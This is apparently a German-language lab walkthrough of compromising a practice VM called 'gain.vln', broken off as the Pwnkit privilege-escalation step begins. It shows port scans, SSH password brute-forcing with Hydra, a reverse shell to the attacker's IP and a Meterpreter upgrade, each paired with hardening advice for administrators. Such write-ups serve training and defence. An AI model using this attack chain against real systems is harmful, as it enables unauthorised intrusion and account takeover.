Wir beginnen mit der Identifizierung des Ziels im Netzwerk und einem ersten Scan der offenen Ports und Dienste.
192.168.2.106 08:00:27:39:01:d5 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` sucht im lokalen Netzwerk nach aktiven Geräten mittels ARP.
Bewertung: Ein aktives Gerät mit der IP `192.168.2.106` wurde gefunden. Die MAC-Adresse (`08:00:27:39:01:d5`) und der Hersteller (`PCS Systemtechnik GmbH`) weisen auf eine Oracle VirtualBox VM hin. Dies ist unser Ziel.
Empfehlung (Pentester): Ziel-IP notieren.
Empfehlung (Admin): Netzwerksegmentierung und -überwachung können helfen.
Wir führen einen Webserver-Scan mit Nikto durch, um schnell häufige Schwachstellen oder interessante Dateien zu finden.
- Nikto v2.5.0 + Target IP: 192.168.2.106 + Target Hostname: 192.168.2.106 + Target Port: 80 + Start Time: 2023-07-10 23:10:34 (GMT2) + Server: Apache/2.4.6 (CentOS) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + OPTIONS: Allowed HTTP Methods: OPTIONS, GET, HEAD, POST, TRACE . + /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing + /readme.txt: This might be interesting. + /secret/: Directory indexing found. + /secret/: This might be interesting. + /icons/: Directory indexing found. + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + /login.html: Admin login page/section found. + /test.php: This might be interesting. + 8909 requests: 0 error(s) and 12 item(s) reported on remote host + End Time: 2023-07-10 23:10:50 (GMT2) (16 seconds) + 1 host(s) tested
Analyse: `nikto -h 192.168.2.106` scannt den Webserver auf Port 80.
Bewertung: Nikto liefert viele interessante Hinweise:
Empfehlung (Pentester): Untersuchen Sie die gefundenen Pfade (`/readme.txt`, `/secret/`, `/test.php`, `/login.html`) manuell im Browser oder mit `curl`. Recherchieren Sie bekannte Schwachstellen für Apache 2.4.6.
Empfehlung (Admin): Aktualisieren Sie Apache dringend. Deaktivieren Sie Directory Indexing für Verzeichnisse wie `/secret/` und `/icons/`. Entfernen Sie unnötige Dateien (`readme.txt`, `test.php`, Standard-`README`). Deaktivieren Sie die TRACE-Methode. Implementieren Sie fehlende Security Header.
Wir führen einen detaillierten Nmap-Scan durch, um alle offenen Ports und Dienste zu identifizieren.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-10 23:10 CEST Nmap scan report for gain.vln (192.168.2.106) Host is up (0.00028s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 88:41:61:11:e1:1f:18:7d:d6:0c:38:29:25:79:16:2c (RSA) | 256 18:c5:fd:ce:cd:2b:92:f8:d9:17:17:21:24:9d:67:df (ECDSA) |_ 256 84:c5:14:e4:e9:33:21:41:6a:92:72:b9:a7:33:1a:ea (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS)) |_http-title: Watch shop | eCommers | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.6 (CentOS) 8000/tcp open http Ajenti http control panel |_http-title: Ajenti MAC Address: 08:00:27:39:01:D5 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.28 ms gain.vln (192.168.2.106)
Analyse: `nmap` mit Optionen für SYN-Scan (`-sS`), Standard-Skripte (`-sC`), Versionserkennung (`-sV`), schnelles Timing (`-T5`) und aggressiven Scan (`-A`) gegen alle TCP-Ports (`-p-`).
Bewertung: Der Scan findet drei offene Ports:
Empfehlung (Pentester): Untersuchen Sie den Ajenti-Panel auf Port 8000 (Standard-Logins? Bekannte Schwachstellen?). Fahren Sie mit der Untersuchung der auf Port 80 gefundenen Pfade fort. Behalten Sie SSH für Brute-Force-Angriffe im Auge, falls Benutzernamen bekannt werden.
Empfehlung (Admin): Aktualisieren Sie Apache und OpenSSH. Stellen Sie sicher, dass der Ajenti-Panel sicher konfiguriert ist (starke Passwörter, Zugriffsbeschränkung, aktuelle Version). Schränken Sie den Zugriff auf Port 8000 ein, wenn er nicht von extern benötigt wird.
Wir filtern die offenen Ports zur Übersicht.
22/tcp open ssh OpenSSH 7.4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.6 ((CentOS)) 8000/tcp open http Ajenti http control panel
Analyse: Filtert die Nmap-Ausgabe nach offenen Ports.
Bewertung: Bestätigt die drei offenen Ports 22, 80 und 8000.
Empfehlung (Pentester): Fokussieren Sie sich auf diese drei Ports.
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit dieser offenen Ports.
Wir untersuchen die auf Port 80 gefundenen Webpfade genauer, insbesondere die von Nikto gemeldete `/test.php`.
Analyse: Die Analyse des Quellcodes der Seite `/test.php` (oder ihres Outputs) zeigt, dass sie die PHP-Funktion `phpinfo();` aufruft. Diese Funktion gibt detaillierte Informationen über die PHP-Konfiguration, geladene Module, Umgebungsvariablen usw. aus. Ein Kommentar deutet auf eine unvollständige Konfiguration hin.
Bewertung: Das Vorhandensein einer `phpinfo()`-Seite ist ein Informationsleck. Es kann sensible Details über die Serverkonfiguration preisgeben (z.B. interne Pfade, Softwareversionen, manchmal sogar Umgebungsvariablen mit Zugangsdaten). In bestimmten, seltenen Fällen können Schwachstellen in `phpinfo()` selbst (oder in der Art, wie sie LFI ermöglicht) zur Codeausführung führen.
Empfehlung (Pentester): Analysieren Sie die Ausgabe von `phpinfo()` sorgfältig auf interessante Informationen (Pfade, Versionen, Konfigurationseinstellungen, Umgebungsvariablen). Recherchieren Sie, ob die spezifische PHP-Version und Konfiguration in Kombination mit `phpinfo()` bekannte Schwachstellen aufweist (z.B. LFI-to-RCE durch `phpinfo()` in bestimmten Szenarien).
Empfehlung (Admin): Entfernen Sie `phpinfo()`-Seiten oder -Aufrufe von Produktionsservern. Sie sollten nur zu Debugging-Zwecken temporär verwendet werden.
Es wird versucht, einen Exploit zu verwenden, der Local File Inclusion (LFI) über `phpinfo()` zu Remote Code Execution (RCE) eskaliert.
Analyse: Ein Exploit-Skript wird von GitHub heruntergeladen. Dieses Skript versucht, eine spezifische Technik auszunutzen, bei der eine LFI-Schwachstelle in Kombination mit der `phpinfo()`-Ausgabe genutzt wird, um eine temporäre PHP-Upload-Datei zu finden und auszuführen, was zu RCE führt.
Bewertung: Vorbereitung des Exploit-Versuchs.
Empfehlung (Pentester): Überprüfen Sie den Code des Exploits vor der Ausführung. Stellen Sie sicher, dass die Voraussetzungen (LFI + phpinfo) gegeben sind.
Empfehlung (Admin): Diese Technik unterstreicht erneut, warum `phpinfo()` nicht öffentlich zugänglich sein sollte.
Analyse: Das heruntergeladene Skript wird im Editor geöffnet, vermutlich um es anzupassen oder zu überprüfen.
Bewertung: Standardvorgehen vor der Ausführung fremden Codes.
Empfehlung (Pentester): Passen Sie ggf. Parameter im Skript an oder stellen Sie sicher, dass Sie die Funktionsweise verstehen.
Empfehlung (Admin): Keine spezifische Empfehlung.
Analyse: Das Skript wird ausführbar gemacht.
Bewertung: Notwendiger Schritt zur Ausführung.
Empfehlung (Pentester): Führen Sie das Skript mit den passenden Parametern aus.
Empfehlung (Admin): Keine spezifische Empfehlung.
[ERROR] LFI url path or PHPINFO url path is not reachable ! [ERROR] HTTPConnectionPool(host='192.168.2.105', port=80): Max retries exceeded with url: /revshell.php?file= (Caused by NewConnectionError(': Failed to establish a new connection: [Errno 111] Connection refused'))
Analyse: Das Exploit-Skript wird ausgeführt.
-l "http://192.168.2.105/revshell.php?file="
: Gibt die URL an, die eine LFI-Schwachstelle enthält (hier scheint eine Verwechslung vorzuliegen, da `/test.php` die `phpinfo()`-Seite ist und keine explizite LFI bekannt war; das Skript erwartet typischerweise eine *separate* LFI-URL). Die IP `192.168.2.105` ist die des Angreifers, was darauf hindeutet, dass versucht wird, eine lokale Datei auf dem Angreifer-System über eine (nicht vorhandene) LFI auf dem Ziel zu laden – das kann so nicht funktionieren.--lhost 127.0.0.1 --lport 9001
: Parameter für eine potenzielle Reverse Shell (werden hier vom Exploit-Typ aber anders genutzt).-t 12
: Anzahl der Threads.-i "http://192.168.2.106/test.php"
: Die URL der `phpinfo()`-Seite auf dem Ziel.Bewertung: Der Exploit schlägt fehl (`[ERROR]`). Die Fehlermeldung `Connection refused` bezieht sich auf die versuchte Verbindung zur LFI-URL auf dem Angreifer-System (`192.168.2.105`), was logisch ist, da dort kein entsprechender Webserver läuft und das Konzept des Exploits hier falsch angewendet wird. Es gibt keine Anzeichen für eine LFI-Schwachstelle, die für diesen spezifischen Exploit benötigt würde.
Empfehlung (Pentester): Dieser Exploit-Typ ist hier nicht anwendbar, da die Voraussetzungen (insbesondere eine nutzbare LFI) nicht erfüllt sind. Verwerfen Sie diesen Ansatz und konzentrieren Sie sich auf andere Vektoren (Ajenti, SSH).
Empfehlung (Admin): Keine spezifische Empfehlung, da der Angriff fehlschlug.
Nachdem der Web-Exploit-Versuch fehlschlug, konzentrieren wir uns auf den SSH-Dienst. Wir versuchen, Informationen durch eine direkte Verbindungsanfrage zu erhalten und führen dann einen Brute-Force-Angriff durch.
The authenticity of host 'gain.vln (192.168.2.106)' can't be established. ED25519 key fingerprint is SHA256:1yR5iTL+oNBeYI7ACvh1p8CYWHrzXAiC+CSijI9uQ. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'gain.vln' (ED25519) to the list of known hosts. Hi !!! THIS MESSAGE IS ONLY VISIBLE IN UR NETWORK :) ___ _ ___ / __|__ _(_)_ _ | _ \_____ __ _____ _ _ | (_ / _` | | ' \ | _/ _ \ V V / -_) '_| \___\__,_|_|_||_| |_| \___/\_/\_/\___|_| ~ I HOPE EVERYONE KNOW THE JOINING ID CAUSE THAT IS YOUR USERNAME : ie : employee1 employee2 ... ... ... so on ;) ~ I already told the format of password of everyone in the yesterday's meeting. Now i have configured everything. My request is to everyone to Complete assignments on time btw one of my employee have sudo powers because he is my favourite NOTE : "This message will automatically removed after 2 days" - BOSS -------------------------------------------------------------------------------- USERNAME : employee1 USERNAME : employee2 --------------------------------------------------------------------------------
Analyse: Ein SSH-Verbindungsversuch wird gestartet, scheinbar mit einem Test-Benutzernamen `eder` (der wahrscheinlich nicht existiert). Nach Bestätigung des Host-Schlüssels wird jedoch ein sehr ausführlicher SSH-Banner (Pre-Authentication Banner) angezeigt, bevor überhaupt nach einem Passwort gefragt wird.
Bewertung: Dieser SSH-Banner ist ein massives Informationsleck und ein kritischer Fund! Er verrät:
Empfehlung (Pentester): Nutzen Sie die Benutzernamen `employee1`, `employee2` usw. für Brute-Force-Angriffe. Versuchen Sie, das Passwortmuster zu erraten (z.B. könnte das Passwort identisch mit dem Benutzernamen sein, oder einem einfachen Muster wie `Benutzername123` folgen). Starten Sie einen Hydra-Angriff auf `employee1`.
Empfehlung (Admin): Entfernen Sie sofort diesen informationsreichen Banner aus der SSH-Konfiguration (`/etc/ssh/sshd_config`, Direktive `Banner`). Banner sollten keine sensiblen Informationen, Benutzernamen oder Hinweise auf Passwörter enthalten.
Wir starten einen Hydra Brute-Force-Angriff auf den Benutzer `employee1`.
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-07-10 23:44:02
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344412 login tries (l:1/p:14344412), ~224132 tries per task
[DATA] attacking ssh://gain.vln:22/
[22][ssh] host: gain.vln login: employee1 password: employee1
1 of 1 target successfully completed, 1 valid password found
Analyse: Hydra versucht, das Passwort für `employee1` auf Port 22 mit der `rockyou.txt`-Liste zu erraten.
Bewertung: Erfolg! Hydra findet das Passwort `employee1`. Dies bestätigt die Vermutung aus dem SSH-Banner, dass das Passwort möglicherweise identisch mit dem Benutzernamen ist. Ein extrem schwaches Passwortschema.
Empfehlung (Pentester): Melden Sie sich sofort mit `employee1` / `employee1` via SSH an.
Empfehlung (Admin): Ändern Sie sofort alle Passwörter, die diesem Schema folgen. Implementieren Sie eine starke Passwortrichtlinie und verbieten Sie solche einfachen Muster.
Wir melden uns mit den gefundenen Zugangsdaten per SSH an.
Hi !!! THIS MESSAGE IS ONLY VISIBLE IN UR NETWORK :)
___ _ ___
/ __|__ _(_)_ _ | _ \_____ __ _____ _ _
| (_ / _` | | ' \ | _/ _ \ V V / -_) '_|
\___\__,_|_|_||_| |_| \___/\_/\_/\___|_|
I HOPE EVERYONE KNOW THE JOINING ID CAUSE THAT IS YOUR USERNAME : ie : employee1 employee2 ... ... ... so on ;)
I already told the format of password of everyone in the yesterday's meeting.
Now i have configured everything. My request is to everyone to Complete assignments on time
btw one of my employee have sudo powers because he is my favourite
NOTE : "This message will automatically removed after 2 days"
- BOSS
employee1@gain.vln's password: employee1
Last failed login: Mon Jul 10 17:44:30 EDT 2023 from cycat on ssh:notty
There were 549 failed login attempts since the last successful login.
Last login: Mon May 18 08:59:41 2020
[employee1@ ~]$
Analyse: Erfolgreicher SSH-Login als `employee1` mit dem Passwort `employee1`. Der informative Banner wird erneut angezeigt, gefolgt von Informationen über fehlgeschlagene Login-Versuche und den letzten erfolgreichen Login.
Bewertung: Initial Access erfolgreich erlangt. Wir haben eine Shell als `employee1`. Die hohe Anzahl fehlgeschlagener Logins deutet auf vorherige Brute-Force-Versuche (möglicherweise von uns oder anderen) hin.
Empfehlung (Pentester): Beginnen Sie mit der lokalen Enumeration als `employee1`, um Wege zur Privilegienerweiterung zu finden. Suchen Sie nach dem "Lieblingsmitarbeiter" mit `sudo`-Rechten.
Empfehlung (Admin): Entfernen Sie den SSH-Banner. Überwachen Sie fehlgeschlagene Login-Versuche und implementieren Sie robuste Sperrmechanismen (fail2ban).
Nachdem wir Zugriff als `employee1` erlangt haben, führen wir lokale Enumerationsschritte durch, um potenzielle Wege zur Erhöhung unserer Rechte zu finden.
Wir suchen nach SUID-Binaries.
25328572 24 -rws--x--x 1 root root 24048 Oct 30 2018 /usr/bin/chfn 25328575 24 -rws--x--x 1 root root 23960 Oct 30 2018 /usr/bin/chsh 25328608 44 -rwsr-xr-x 1 root root 44320 Oct 30 2018 /usr/bin/mount 25270678 64 -rwsr-xr-x 1 root root 64328 Oct 30 2018 /usr/bin/chage 25270679 80 -rwsr-xr-x 1 root root 78272 Oct 30 2018 /usr/bin/gpasswd 25270681 44 -rwsr-xr-x 1 root root 41872 Oct 30 2018 /usr/bin/newgrp 25328623 32 -rwsr-xr-x 1 root root 32208 Oct 30 2018 /usr/bin/su 25328627 32 -rwsr-xr-x 1 root root 32048 Oct 30 2018 /usr/bin/umount 25545795 144 s--x--x 1 root root 147392 Oct 30 2018 /usr/bin/sudo 25334378 60 -rwsr-xr-x 1 root root 57576 Apr 10 2018 /usr/bin/crontab 25329197 24 -rwsr-xr-x 1 root root 23656 Oct 30 2018 /usr/bin/pkexec 25545835 28 -rwsr-xr-x 1 root root 27832 Jun 10 2014 /usr/bin/passwd 31950 12 -rwsr-xr-x 1 root root 11216 Apr 10 2018 /usr/sbin/pam_timestamp_check 31952 36 -rwsr-xr-x 1 root root 36280 Apr 10 2018 /usr/sbin/unix_chkpwd 151075 12 -rwsr-xr-x 1 root root 11376 Oct 30 2018 /usr/sbin/usernetctl 25329200 16 -rwsr-xr-x 1 root root 15512 Oct 30 2018 /usr/lib/polkit-1/polkit-agent-helper-1 25329190 60 -rwsr-x--- 1 root dbus 58024 Nov 2 2018 /usr/libexec/dbus-1/dbus-daemon-launch-helper
Analyse: Der `find`-Befehl listet Dateien mit gesetztem SUID-Bit auf.
Bewertung: Die Liste enthält viele Standard-SUID-Binaries. `/usr/bin/sudo` hat ungewöhnliche Berechtigungen (`rws--x--x`), was bedeutet, dass nur der Besitzer (root) und Mitglieder der Gruppe Leserechte haben, aber Ausführrechte breiter gesetzt sind (was hier irrelevant ist, da execute für other fehlt). `/usr/bin/pkexec` ist vorhanden und bekannt für die Pwnkit-Schwachstelle (CVE-2021-4034), abhängig von der genauen Version (hier nicht direkt ersichtlich, aber das Datum 2018 deutet auf eine potenziell anfällige Version hin). Keine offensichtlich ungewöhnlichen oder leicht ausnutzbaren SUID-Dateien außer potenziell `pkexec`.
Empfehlung (Pentester): Überprüfen Sie die Version von `pkexec` oder testen Sie direkt auf die Pwnkit-Schwachstelle. Prüfen Sie, ob `employee1` `sudo -l` ausführen kann (trotz der merkwürdigen Leseberechtigungen, die Ausführung könnte dennoch klappen).
Empfehlung (Admin): Überprüfen Sie die Berechtigungen von `sudo`. Halten Sie `polkit` (das `pkexec` enthält) aktuell, um Pwnkit zu patchen. Minimieren Sie SUID-Binaries.
Wir suchen nach Dateien mit gesetzten Capabilities.
/usr/bin/ping = cap_net_admin,cap_net_raw+p /usr/sbin/arping = cap_net_raw+p /usr/sbin/clockdiff = cap_net_raw+p /usr/sbin/suexec = cap_setgid,cap_setuid+ep
Analyse: `getcap -r / 2>/dev/null` sucht rekursiv im gesamten Dateisystem nach Dateien, denen Linux Capabilities zugewiesen wurden. Capabilities erlauben Prozessen, spezifische Root-Privilegien zu nutzen, ohne vollständig als Root laufen zu müssen.
Bewertung: Es werden nur Standard-Capabilities für `ping`, `arping`, `clockdiff` und `suexec` gefunden. Insbesondere `suexec` mit `cap_setgid,cap_setuid+ep` ist Standard für Apache und normalerweise kein direkter Vektor für Privescs durch einen normalen Benutzer. Keine ungewöhnlichen oder leicht missbrauchbaren Capabilities gefunden.
Empfehlung (Pentester): Capabilities scheinen hier kein einfacher Weg zur Privilegienerweiterung zu sein.
Empfehlung (Admin): Vergeben Sie Capabilities nur, wenn unbedingt notwendig, und verstehen Sie deren Implikationen.
Wir listen alle Benutzer mit einer Bash-Shell auf, um einen Überblick über potenzielle Zielkonten zu bekommen.
root:x:0:0:root:/root:/bin/bash employee1:x:1000:1000/home/employee1:/bin/bash employee2:x:1001:1001/home/employee2:/bin/bash employee3:x:1002:1002/home/employee3:/bin/bash employee4:x:1003:1003/home/employee4:/bin/bash employee5:x:1004:1004/home/employee5:/bin/bash employee6:x:1005:1005/home/employee6:/bin/bash employee7:x:1006:1006/home/employee7:/bin/bash .... ... .. . coworker55:x:1181:1181/home/coworker55:/bin/bash programmer:x:1182:1184/home/programmer:/bin/bash vanshal:x:1183:1184/home/vanshal:/bin/bash
Analyse: `grep bash /etc/passwd` filtert die Passwort-Datenbank nach Benutzern, deren Login-Shell `/bin/bash` ist, was typischerweise interaktive Benutzerkonten anzeigt.
Bewertung: Bestätigt die Existenz der `employeeX`-Benutzer sowie weitere Benutzer wie `coworker55`, `programmer` und `vanshal`. Dies erweitert die Liste potenzieller Ziele für Lateral Movement oder die Suche nach dem "Lieblingsmitarbeiter" mit sudo-Rechten.
Empfehlung (Pentester): Versuchen Sie, das Passwortmuster (`employeeX` -> `employeeX`) auf andere gefundene Benutzer anzuwenden (z.B. `employee2` bis `employee7`, `programmer`, `vanshal`). Konzentrieren Sie sich auf `vanshal` und `programmer`, da diese nicht dem Standardmuster entsprechen. Überprüfen Sie `sudo -l` für `employee1`.
Empfehlung (Admin): Stellen Sie sicher, dass alle Benutzerkonten (auch nicht-menschliche) starke, einzigartige Passwörter haben. Entfernen Sie ungenutzte Konten.
Wir untersuchen eine PHP-Datei, die wahrscheinlich zum Webserver gehört.
// Added closing PHP tag
Analyse: `cat contact_process.php` zeigt den Quellcode einer PHP-Datei, die wahrscheinlich ein Kontaktformular auf der Webseite verarbeitet. Sie nimmt Benutzereingaben entgegen und scheint eine E-Mail an `rockybd1995@gmail.com` zu senden.
Bewertung: Der Code selbst scheint keine unmittelbare Schwachstelle wie Command Injection oder gravierende LFI zu enthalten. Die Verwendung von `$_REQUEST` ist nicht ideal, aber hier nicht direkt ausnutzbar. Die E-Mail-Adresse könnte für OSINT nützlich sein, ist aber wahrscheinlich nicht relevant für die Privilegienerweiterung. Der kryptische Kommentar am Ende (`zFH...`) könnte ein Hinweis oder Datenrest sein, ist aber schwer zu interpretieren.
Empfehlung (Pentester): Diese Datei bietet wahrscheinlich keinen direkten Weg zur Privilegienerweiterung. Ignorieren Sie sie vorerst.
Empfehlung (Admin): Bereinigen Sie den Code (z.B. unnötige Kommentare entfernen). Validieren und sanitisieren Sie Benutzereingaben immer serverseitig, auch wenn hier keine direkte Lücke sichtbar ist.
Wir überprüfen die offenen Netzwerk-Sockets.
State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 128 *:22 *:* LISTEN 0 10 *:8000 *:* LISTEN 0 128 :::80 :::* LISTEN 0 128 :::22 :::*
Analyse: `ss -altpn` listet alle (`a`) lauschenden (`l`) TCP-Sockets (`t`) mit Prozessinformationen (`p`) und ohne Namensauflösung (`n`) auf.
Bewertung: Bestätigt die von Nmap gefundenen offenen Ports 22 (SSH), 80 (HTTP) und 8000 (Ajenti). Zeigt, dass die Dienste sowohl auf IPv4 (`*`) als auch auf IPv6 (`::`) lauschen.
Empfehlung (Pentester): Keine neuen Informationen, bestätigt frühere Scans.
Empfehlung (Admin): Stellen Sie sicher, dass Dienste nur auf den notwendigen Interfaces und Protokollen (IPv4/IPv6) lauschen.
Wir richten einen Metasploit-Listener ein, um eine Reverse Shell zu empfangen.
[*] Using configured payload generic/shell_reverse_tcp
Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (generic/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target View the full module info with the info, or info -d command.
LHOST => 192.168.2.105
[!] Unknown datastore option: �LPORT. Did you mean LPORT?
LPORT => 5555
[*] Started reverse TCP handler on 192.168.2.105:5555
Analyse: In der Metasploit-Konsole wird der `multi/handler` geladen, um eingehende Verbindungen zu empfangen. Als Payload wird `generic/shell_reverse_tcp` verwendet. Die lokale IP-Adresse des Angreifers (`LHOST`) wird auf `eth0` (was zu `192.168.2.105` aufgelöst wird) und der lokale Port (`LPORT`) auf `5555` gesetzt. Der Listener wird mit `run` gestartet.
Bewertung: Der Listener ist bereit, eine eingehende Reverse Shell auf Port 5555 zu empfangen. Dies ist eine Vorbereitung, um eine stabilere oder interaktivere Shell vom Zielsystem zu erhalten.
Empfehlung (Pentester): Führen Sie auf dem Zielsystem (`employee1`-Shell) einen Befehl aus, der eine Verbindung zu `192.168.2.105:5555` herstellt (z.B. mit Python, Netcat, Bash).
Empfehlung (Admin): Ausgehende Verbindungen vom Server sollten über eine Firewall kontrolliert und beschränkt werden, um das Etablieren von Reverse Shells zu erschweren.
Wir führen auf dem Zielsystem einen Python-Einzeiler aus, um eine Reverse Shell zu unserem Listener aufzubauen.
Analyse: Dieser Python-Einzeiler stellt eine TCP-Verbindung (`socket.SOCK_STREAM`) zur IP `192.168.2.105` auf Port `5555` her. Anschließend werden die Standard-Eingabe (stdin, fileno 0), Standard-Ausgabe (stdout, fileno 1) und Standard-Fehlerausgabe (stderr, fileno 2) des Prozesses auf den Netzwerk-Socket umgeleitet (`os.dup2`). Schließlich wird eine interaktive Shell (`/bin/sh -i`) gestartet, deren Ein- und Ausgabe nun über die Netzwerkverbindung läuft.
Bewertung: Erfolgreiche Etablierung einer Reverse Shell. Der Metasploit-Listener sollte nun eine aktive Sitzung anzeigen.
Empfehlung (Pentester): Wechseln Sie zum Metasploit-Fenster, um mit der neuen Shell-Sitzung zu interagieren. Führen Sie ggf. ein Upgrade auf eine Meterpreter-Sitzung durch, um mehr Funktionalität zu erhalten.
Empfehlung (Admin): Erkennung und Verhinderung verdächtiger ausgehender Verbindungen. Intrusion Detection Systems (IDS) können solche Shell-Verbindungen erkennen.
Die erfolgreiche Verbindung wird im Metasploit-Listener bestätigt.
[*] Command shell session 1 opened (192.168.2.105:5555 -> 192.168.2.106:57930) at 2023-07-10 23:54:54 +0200 Shell Banner: _[?1034hsh-4.2$ -- sh-4.2$
Analyse: Metasploit meldet, dass die "Command shell session 1" geöffnet wurde. Die IP-Adressen und Ports der Verbindung werden angezeigt. Wir erhalten einen einfachen Shell-Prompt (`sh-4.2$`).
Bewertung: Die Reverse Shell ist aktiv und nutzbar über Metasploit.
Empfehlung (Pentester): Führen Sie ein Upgrade auf eine Meterpreter-Sitzung durch, um die Steuerung zu verbessern.
Empfehlung (Admin): Keine neuen Empfehlungen.
Wir verwenden das Metasploit-Modul `shell_to_meterpreter`, um die einfache Shell in eine funktionsreichere Meterpreter-Sitzung umzuwandeln.
Module options (post/multi/manage/shell_to_meterpreter): Name Current Setting Required Description ---- --------------- -------- ----------- HANDLER true yes Start an exploit/multi/handler to receive the connection LHOST no IP of host that will receive the connection from the payload (Will try to auto detect). LPORT 4433 yes Port for payload to connect to. SESSION yes The session to run this module on View the full module info with the info, or info -d command.
session => 1
HANDLER => true
LHOST => 192.168.2.105
LPORT => 4433
[*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.105:4433 [*] Sending stage (1017704 bytes) to 192.168.2.106 [*] Meterpreter session 2 opened (192.168.2.105:4433 -> 192.168.2.106:52638) at 2023-07-10 23:56:17 +0200 [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed
Analyse: Das Post-Exploitation-Modul `shell_to_meterpreter` wird geladen. Es wird auf die bestehende Shell-Sitzung (`session 1`) angewendet. Ein neuer Handler wird automatisch gestartet (`HANDLER true`), der auf `192.168.2.105` (`LHOST eth0`) und Port `4433` (`LPORT 4433`) lauscht. Das Modul lädt dann den Meterpreter-Payload auf das Zielsystem hoch und führt ihn aus.
Bewertung: Erfolgreich! Eine neue Meterpreter-Sitzung (Session 2) wurde geöffnet. Meterpreter bietet eine Vielzahl von Funktionen zur weiteren Enumeration, Steuerung und Privilegienerweiterung.
Empfehlung (Pentester): Interagieren Sie mit der Meterpreter-Sitzung 2 (`sessions -i 2`). Nutzen Sie Meterpreter-Befehle (`sysinfo`, `getuid`, `ps`, `hashdump` etc.) und Module (z.B. `local_exploit_suggester`) zur weiteren Enumeration und Privilegienerweiterung.
Empfehlung (Admin): Endpoint Detection and Response (EDR)-Systeme können das Verhalten von Meterpreter erkennen und blockieren. Halten Sie Antiviren-Signaturen aktuell.
Dieser Abschnitt beschreibt die Ausnutzung der Pwnkit-Schwachstelle (CVE-2021-4034) im Polkit-Dienst (`pkexec`), um von der Meterpreter-Sitzung mit Benutzerrechten (`employee1`) zu einer Sitzung mit Root-Rechten zu gelangen.
Kurzbeschreibung: Nach Erhalt einer Meterpreter-Sitzung als `employee1` verwenden wir das Metasploit-Modul `local_exploit_suggester`, um nach bekannten lokalen Privilegienerweiterungs-Schwachstellen zu suchen. Der Suggester identifiziert Pwnkit als vielversprechenden Kandidaten. Anschließend wird der entsprechende Metasploit-Exploit ausgeführt.
Voraussetzungen: Aktive Meterpreter-Sitzung als nicht-privilegierter Benutzer (hier Session 2 als `employee1`). Vorhandensein einer anfälligen Version von `pkexec` auf dem Zielsystem.
Schritt 1: Lokale Exploit-Suche mit `local_exploit_suggester`
Wir verwenden den Suggester, um das System auf bekannte Schwachstellen zu prüfen.
session => 2
[*] 192.168.2.106 - Collecting local exploits for x86/linux... [*] 192.168.2.106 - 186 exploit checks are being tried... [+] 192.168.2.106 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable. [+] 192.168.2.106 - exploit/linux/local/network_manager_vpnc_username_priv_esc: The service is running, but could not be validated. [+] 192.168.2.106 - exploit/linux/local/pkexec: The service is running, but could not be validated. [+] 192.168.2.106 - exploit/linux/local/su_login: The target appears to be vulnerable. [*] Running check method for exploit 43 / 58
Analyse: Das Modul `local_exploit_suggester` wird geladen und auf die Meterpreter-Sitzung 2 angewendet. Es vergleicht die Systeminformationen (Betriebssystem, Kernel, installierte Software/Versionen) mit einer Datenbank bekannter lokaler Exploits.
Bewertung: Der Suggester identifiziert mehrere potenzielle Exploits. Besonders relevant ist `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`, der explizit als "vulnerable" markiert wird. Pwnkit ist eine bekannte und oft zuverlässige Schwachstelle zur Privilegienerweiterung auf vielen Linux-Systemen.
Empfehlung (Pentester): Verwenden Sie das von Suggester empfohlene Pwnkit-Exploit-Modul (`exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`).
Empfehlung (Admin): Halten Sie das `polkit`-Paket (welches `pkexec` enthält) immer auf dem neuesten Stand, um CVE-2021-4034 und andere Schwachstellen zu beheben.
Schritt 2: Vorbereitung und Ausführung des Pwnkit-Exploits
Wir laden das Pwnkit-Exploit-Modul und konfigurieren es.
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
